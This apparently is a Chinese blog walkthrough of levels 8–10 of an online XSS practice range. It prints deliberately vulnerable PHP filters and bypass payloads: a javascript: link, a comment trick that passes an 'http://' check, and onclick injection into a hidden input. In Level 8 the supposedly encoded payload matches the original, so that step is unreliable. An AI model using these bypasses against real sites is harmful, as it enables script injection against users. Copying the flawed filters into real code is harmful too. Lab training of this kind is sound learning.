前言
本文不是CTF WP系列 所以文中提到的全部内容均为非CTF真题
文中使用的在线XSS靶场:传送门
感谢渊龙Sec团队提供靶场
正文
Level-8
核心代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
从GET
中keyword
键获取值并赋值给变量str
所有输入均会被转为小写
这里并不会将我们输入的字符串替换为空 双写绕过自然并不生效
这里很明显Payload应该输入到<a>
标签href
中 我们正常应该联想到利用伪协议进行JS执行
实际上 浏览器默认支持解码Unicode编码格式字符串
原Payload
javascript:alert(123)
编码后
javascript:alert(123)
Level-9
核心代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
代码核心区别
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
strpos
函数用于查找字符串 当我们的输入中不包含http://
时 则返回链接不合法
我们的Payload只需要包含http://
但是在注释中就好了
Payload
javascript:alert(123) // http://
Level-10
核心代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
从keyword
获取到的值已经不能用了 读者根据积累应该可以自行分析原因
t_sort
进行了两次过滤 分别过滤左右尖括号
这里正常可以通过事件触发器执行JS
" onclick=alert(123)
但是表单属性被设置为hidden
这意味着这个表单将不会显示
我们可以预先设定一个类型属性绕过这个属性限制
" onclick=alert(123) type="text
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后发表评论
注册